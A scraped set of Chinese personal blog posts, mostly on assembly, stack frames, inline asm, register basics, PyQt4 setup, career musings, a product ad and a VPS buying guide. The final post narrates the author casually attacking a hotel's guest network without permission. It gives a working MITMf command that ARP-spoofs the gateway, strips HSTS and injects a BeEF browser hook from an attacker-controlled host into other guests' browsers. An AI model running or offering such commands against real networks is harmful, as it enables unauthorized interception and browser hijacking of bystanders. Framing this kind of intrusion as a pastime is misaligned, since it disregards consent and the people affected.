最近在研究二进制,研究到函数调用部分,将自己理解的原理做个记录。

首先需要了解系统栈的工作原理,栈可以理解成一种先进后出的数据结构,这就不用多说了。
在操作系统中,系统栈也起到用来维护函数调用、参数传递等关系的一个作用。嗯,这是我的理解。
在高级语言编程中,函数调用的底层原理是对用户屏蔽的,所以不用过多的纠结于底层的实现。而对于
汇编研究者来说,了解这个原理就很重要了。
首先可以想象一下,汇编语言在内存中是以指令的形式存在的,这些指令是按照顺序存储和执行的,高级语言中
编写的循环、调用,到了底层都会变成一些最基本的判断和跳转,如何在线性的结构上完成“非线性”的过程调度,
理解了这些,就理解了汇编。

这里先抛出高级语言的一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
/*20160701*/
#include <stdio.h>

int funcA( int arg ){
arg += 1;
return arg;
}

int main(){
int a;
a = funcA(1);
printf("%d", a);
}

在这个程序中,main函数调用了函数funcA,funcA对传入的数据进行+1然后返回。
这个程序在编译之后,main函数变成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400516 <+0>: push rbp
0x0000000000400517 <+1>: mov rbp,rsp
0x000000000040051a <+4>: sub rsp,0x10
0x000000000040051e <+8>: mov edi,0x1
0x0000000000400523 <+13>:call 0x400506 <funcA>
0x0000000000400528 <+18>:mov DWORD PTR [rbp-0x4],eax
0x000000000040052b <+21>:mov eax,DWORD PTR [rbp-0x4]
0x000000000040052e <+24>:mov esi,eax
0x0000000000400530 <+26>:mov edi,0x4005d4
0x0000000000400535 <+31>:mov eax,0x0
0x000000000040053a <+36>:call 0x4003e0 <printf@plt>
0x000000000040053f <+41>:leave
0x0000000000400540 <+42>:ret
End of assembler dump.

其中rbp是调用main函数的函数的栈桢的底部,这么说有点绕,简单的来说,main函数调用了funcA,那funcA中首先要做的一件事情就是把调用它的main函数栈桢的底部保存,所以在main函数被操作系统装载执行之后,main要做的首先是把调用它的函数的栈桢的底部保存,不然怎么返回呢?
第二个步骤把rsp的值传递给rbp,这是替换当前栈桢的底部,因为调用了funcA,所以要为funcA创建独立的栈桢,于是抬高栈底,怎么抬高呢,把栈顶传给指向栈桢底部的指针就可以了。
下一步是抬高栈顶,这是为funcA创建栈桢空间。
接着将参数传递给edi,因为这里只有一个参数,所以不涉及到参数顺序的问题,关于这个问题,可以去了解一下函数调用约定
调用了funcA,再来观察一下funcA的内部机制:

1
2
3
4
5
6
7
8
9
10
(gdb) disassemble funcA
Dump of assembler code for function funcA:
0x0000000000400506 <+0>: push rbp
0x0000000000400507 <+1>: mov rbp,rsp
0x000000000040050a <+4>: mov DWORD PTR [rbp-0x4],edi
0x000000000040050d <+7>: add DWORD PTR [rbp-0x4],0x1
0x0000000000400511 <+11>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400514 <+14>: pop rbp
0x0000000000400515 <+15>: ret
End of assembler dump.

同样的,在funcA中,首先保存上一个函数,即main函数栈桢的栈底,然后将rsp的值赋给rbp,抬高栈桢底部。
接着从edi中取得参数,并放入位于自身栈桢空间中,rbp之后的双字单元内。
然后执行操作,将其自增。
执行完成之后,将返回值保存在eax中,等待返回。
弹出上一个函数的栈桢的底部,重新回到main函数的空间。

PS:
直到目前为止,这个程序反编译出来的结果和书上说的原理还是有一些出入的,还有下面几个问题:
0x01 书上说的是,传递参数,会将参数按照一定顺序压栈,而不是像本程序中这样使用edi
0x02 在main函数调用funcA函数之后,将栈顶指针esp抬高了,但是在funcA函数执行完成需要返回到main函数的时候,只恢复了ebp指针,并没有恢复esp指针,这是为什么?

希望接下来可以搞懂上面的两个问题。
本文中用到的相关代码和程序下载:

1037666925.zip

不论是在生活还是在工作中,常常在需要完成某件事情的时候,出于完美主义的情结,会想方设法的让自己陷入一种无限羁绊的尴尬境地。这时,也许是时候对自己目前所做的工作去做更深层次的思考,进而对外在的形式有所取舍,才能达到内心想要达到的真正目的。

就拿编程这件事情来说,很久以前,我很爱做的一件事情就是重复造轮子。相信每一个程序员都会有过这样的经历,好比要实现一个功能,明明前人有现成的方案可以参考,却偏偏要自己从头再重构一遍。我分析总结了一下,出现这种情况的无非有四种原因:
0.完全不知道有现成的实现(这种不做讨论所以忽略)
1.想要更深入的学习和掌握自己所要实现的功能
2.觉得现有的实现不够牛逼,必须自己重构才能超越
3.代码风格上有洁癖,存在完美主义

对于前三种,都无可厚非,因为是带有明确的目的在重构,所以不在讨论范畴之中。这里只想谈谈这最后一种,无理由的强迫自己重复劳动。

在正式踏入社会开始工作以前,我所参加的软件类型的项目,大部分都是自己发起自己完成,或是绝大部分由自己主导,带领团队开发完成,在这个过程中,出于对项目本身的考虑,会事先给自己定下很多规则,比如用什么语言,用什么模式,算法如何构建,如何通信,如何重载,会考虑很多实现过程当中的细节,甚至细到每个函数的命名。现在想想,那个时候还真是too young。如果不是后来去了某运营商实习,我永远也不会理解在一个团队当中,一个git/svn以及一些bug和工单管理系统的重要性(主要是协同作用)。在软件工程已经逐渐趋于成熟的今天,每天都有无数的系统被设计和实现,每天都有无限的需求得到解决,每个成熟的程序员其实某种意义上来说本身就构成了软件工程这个庞大系统中的一个组件,系统所需要的,只是在关键的时刻将你调用,去fix or debug某个功能,或是去create or new某个新的对象,个体左右不了全局,类似曾经Linus那样,以一人之力实现一个操作系统原型的程序员,早已经不再有可能,原因多种多样,或是囿于水平不够,或是囿于早已无法完全掌控现代操作系统的全部架构。但是这里又涉及到一个群体智慧和个体智慧的问题,因为不在题意当中,暂且按下不表。

为什么要提到上面这些呢,其实是想劝慰自己,在对待技术的时候,需要有所取舍,就普通人而言,无论是谁,穷此一生恐怕也无法阅尽操作系统的所有源码,更别说还有众多凌驾于系统之上的应用层协议、分布式、数据存储等等各种所谓解决方案,因此我认为,一个聪明的程序员,他应该做的,就是让自己成熟,让自己成为一个高明的工匠,需求是什么,系统需要什么,就去提出最快速和稳定的方案,然后实现它。而不再是纠结于开发过程,以及过程当中的细节,因为这些过程和细节,早已有更聪明的人去设计和规划好,聪明的“码农”应该做的,就是利用这个框架和模式,去最大化和最妥当的实现当下手头的工作,不浪费自己的生命,亦不浪费他人的生命。想必这就是所谓“敏捷开发”的意义。此外,最需要保留的,还有快速的学习能力,作为技术工作者,需要随时保持着高效的学习能力,在接触一种新的技术之后,能够快速的将其掌握并赋予实践应用,粗略的估算,学习的速度起码要高于摩尔定律之于硬件更新换代的速度,才不之于在十年之内落伍。否则,你可以想象一下一个十年前从事asp和access模式开发的程序员,如果在这十年间没有学习,那他的技能在今天该是有多么的落后!当然你可以说,十年前的程序员,大多如今都已晋升管理层,或是早已在技术的发展当中获得了更多的红利,实现了财富自由,可是你是否想过,十年间信息技术的发展又带来了这个行业多大程度上的饱和?我们不应过于乐观的假想自己的未来,仿佛从一线程序员->技术主管->架构师->技术高管是理所当然,但是实际上,从普通程序员往上,每一层之间都有着很深的技术沟壑。如果身处一种对技术和代码本身的羁绊当中,后果无比的可怕。如果处于一种盲目的自信,那就更加危险。

所以说到取舍,就是我们应该舍弃对于技术外在的追求,而取对技术本源的探寻。正如金庸武侠小说当中所提武功的剑宗和气宗,剑宗十年一小成,气宗三十年一小成,虽各有各的好处,也各有各的弊端。但若想一辈子都能享受武学修炼的乐趣,那还是应当修行气宗。说白了,就是作为程序员,无论你是从事.Net,Java,C/C++,Python,Ruby,Perl,Javascript甚至HTML\CSS还是正在使用世界上最好的语言php,你要做的都不是把这门语言玩出花来,对于语言,要做到的仅仅是熟练和稳定,漂亮的把活干了,代码没有故障,留下足够多的注释和接口,方便后人阅读和使用,这就够了,我们主要的精力应该放在对内核,对硬件,对寄存器的理解,对计算机底层的摸索和探寻,乃至从世间万物中得到指引,从而参透大千世界所蕴含的无限哲理。基于这些理解,再去把握事物的本源,方可在以后的生活中天马行空,犹入幻境。而参透机理的程序员,便也能够天人合一,道法自然,所出之代码,自能仙风道骨,妙不可言。

当然,关于笔者自己,还是没有开悟到这一层,但是想来凡事都有着一万小时定律,只要投入了时间和精力,对所学之事抱有热情,相信假以时日,必能在追求计算机技术的道路上走的更高更远,同时在探索技术的道路中,内心也会更加充盈和富足。保持持之以恒的决心和科学的方法,一定能够在超越自我的过程中有所突破。

一年当中有那么多个节日,每个节日都要面临给女神送什么礼物的烦恼。
今天Chorder向你推荐一款小清新的尤克里里,超萌超文艺,拿过的妹纸都说爱不释手~

诺,就是下面这样啦,拿在妹纸的手上简直萌萌哒~

琴身全部用的是桃花心木,木纹很清晰,也很复古~

有21和23寸两种款型可供选择

最后再来个近照~

戳下面的链接即可购买~

ttps://item.taobao.com/item.htm?id=525504206559

环境:
Windows 10
Python 2.7.10

0x01 安装PyQt4
在这个页面下载,注意选对版本。
https://riverbankcomputing.com/software/pyqt/download
我选择的版本是 PyQt4-4.11.4-gpl-Py2.7-Qt4.8.7-x64.exe

0x02 编写测试脚本

1
2
3
4
5
6
7
8
9
import sys
from PyQt4 import QtGui

app = QtGui.QApplication(sys.argv)
widget = QtGui.QWidget()
widget.resize(250, 150)
widget.setWindowTitle('PyQt')
widget.show()
sys.exit(app.exec_())

如果成功运行并弹出一个空白的窗口,说明PyQt4已经安装上了。

0x03 使用PyQt4的QtWebKit实现解析Dom

待续。

我们走走停停,却最终向着同一个地方…

又是盛夏毕业季,又逢六月高考天。
有很多人同我的此刻,也有很多人似我的彼时。
历经煎熬、体味成长,是悲也好,喜也罢。
我们生命之旅的某一站,它叫做沉沦。
它又唤做重生。

所以迷茫的你,如果不知所措,那就紧紧守住属于自己的角落,因为初心,总是好的。
如果焦虑惶恐,那就去跑,去跳,去喊,去挥洒汗水,去感受生命。
如果漫无目的,那就去看,去画,去听,去苦思冥想,去体味寂静。

时光不会倒退,逝去的难以追回。
平凡和伟大都是风景,一瞬和一生都是永恒。

未知不一定是深渊,眼前也不一定就是注定。

VC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

main(){
int a = 1;
int b = 2;
int c;
__asm{
mov eax,a
mov ebx,b
mov ecx,1h
add eax,ebx
mov c,ecx
}
printf("%x\n", c);
}

GCC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

main(){
int a = 1;
int b = 2;
int c;
asm(
"add %2,%0" //1
:"=g"(c) //2
:"0"(a),"g"(b) //3
:"memory" //4
);
printf("%x\n", c);
}

1
2
3
4
5
6
7
8
**---------------|相关学习资源|---------------**
二进制安全相关工具和教程站点
http://www.openrce.org
http://www.ollydbg.de
http://www.sysersoft.com
http://www.idapro.com
http://www.woodmann.com
http://www.hex-rays.com IDA pro
1
2
3
4
5
6
7
**---------------|二进制基础知识|---------------**
CPU指令的基本单位
1 byte = 8 bit
1 word = 2 byte
1 double word = 2 word
1 kilobyte = 1024 byte
1 megabyte = 1024 kbyte = 1024*1024 byte = 1048576 byte
1
2
3
4
5
6
7
8
9
10
11
**---------------|汇编语言基础知识|---------------**
**寄存器**
80386处理器中的寄存器分为8组,每组宽度为32位
*通用寄存器
*段寄存器
*指令寄存器
*标志寄存器
*系统地址寄存器
*控制寄存器
*调试寄存器
*测试寄存器

通用寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
EAX	累加器
EBX 基址寄存器
ECX 计数器
EDX 数据寄存器
ESI 源变址寄存器
EDI 目的变址寄存器
EBP 扩展基址指针寄存器
ESP 栈指针寄存器


EAX EBX ECX EDX ESI EDI EBP ESP #32位
AX BX CX DX SI DI BP SP #低16位
AH BH CH DH #高8位
AL BL CL DL #低8位

段寄存器:

1
2
3
4
5
6
CS:代码段(Code Segment)
DS:数据段(Data Segment)
ES:附加数据段(Extra Segment)
SS:堆栈段(Stack Segment)
FS:附加段
GS 附加段

指令寄存器:
EIP 指令指针寄存器
低16位为IP(8086)
它存储的是下一条要执行指令的地址。

标志寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
IOPL(I/O Privilege Level)	I/O特权级字段,它的宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL,那么I/O指令可执行。否则,将发生一个保护性异常。
NT(Nested Task): 控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS,CS和EIP从而实现中断返回;NT=1,则通过任务切换实现中断返回。
RF(Restart Flag): 重启标志,它的宽度是1位。它主要控制是否接受调试故障。RF=0接受,RF=1忽略。如果你的程序每一条指令都被成功执行,那么RF会被清0。而当接受到一个非调试故障时,处理器置RF=1。
VM(Virtual Machine): 虚拟8086模式(用软件来模拟8086的模式,所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下;VM=1,工作在V8086模式下。
其它16个标志位的含义和8086一样:
CF(Carry Flag): 进位标志位,由CLC,STC两标志位来控制
PF(Parity Flag): 奇偶标志位
AF(Assistant Flag): 辅助进位标志位
ZF(Zero Flag): 零标志位
SF(Singal Flag): 符号标志位
IF(Interrupt Flag): 中断允许标志位,由CLI,STI两条指令来控制
DF(Direction Flag): 向量标志位,由CLD,STD两条指令来控制
OF(Overflow Flag): 溢出标志位

寻址方式
段基址*10H+段内偏移地址,形成20位地址
段基址是16的倍数,长度最大不超过64K

搬瓦工([https://bandwagonhost.com/aff.php?aff=1962 %})是美国的一家著名的VPS提供商,该厂商的VPS具有廉价、访问速度快等优点。按照目前的价格,一台10 GB 硬盘,512M 内存,1000Gb流量/月的VPS服务器,大约只需要人民币130元/年。下面就来说说如何在搬瓦工购买服务器。

工具/原料
一台能上网的电脑
浏览器
常用邮箱
方法/步骤
1 首先,打开搬瓦工的网站,注册用户:

https://bandwagonhost.com/

点击右上角的注册

2 填写好注册信息、邮箱等之后,就注册成功了,这里友情提醒,注意下密码的复杂程度,不要设置一个很容易被猜到的密码啊。另外如果下面的验证码显示不出来,多半是因为网络不通的原因,自己想办法解决吧。

3 注册完成之后,就进入到了用户主页,点击图中蓝色方框位置的Order New Services。

4 进入之后,就可以看到各种不同配置的VPS和对应的价格,以及是否有货。当右边的Order Now按钮是激活状态,就表示目前有货,可以购买。这里以购买一台10G PROMO V3 - FREMONT CA 来演示。

5 点击Order Now之后,就跳转到了产品确认页面,确认好配置,如购买期限为一年,以及位于哪个机房,这里因为是特价vps,只能选位于福雷蒙特的机房。确认好之后,点击Add To Cart。

6 页面跳转到了产品概要,如果这里你有促销码,可以在蓝色框框里的促销码中填写,有一定的优惠。确认配置无误,就去付款吧。

7 在付款这一页,最下面的支付方式中,选我们最熟悉的,信用卡或Alipay,也就是支付宝啦。接着点击Complete Order,跳转到支付页面。

8 跳转到支付页面以后,点击页面上大大的绿色色pay now。在弹出的页面上选择支付宝或者国内的信用卡,用你熟悉的方式支付即可。

9 在弹出的付款页面上填写账号等信息(不需要填写密码),以及相关的验证码完成支付就可以啦。

Enjoy It!

出差,晚上闲着无聊。
于是想撸一撸酒店的内网,但是之前已经撸过很长时间了,这个地方的重要系统都做了隔离,不好撸,所以就玩玩中间人攻击好了。
用的工具:

1
2
3
OS       Debian 8
MITMF https://github.com/byt3bl33d3r/MITMf.git
beef https://github.com/beefproject/beef.git

先启动beef,直接在beef的目录下面./beef就运行了。

然后启动MITMF,进行中间人攻击,设置payload为beef的evil js

1
python mitmf.py -i wlan0 --spoof --arp --gateway 192.168.64.254 --hsts --inject  --js-url http://192.168.71.0:3000/hook.js

然后就。。。

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×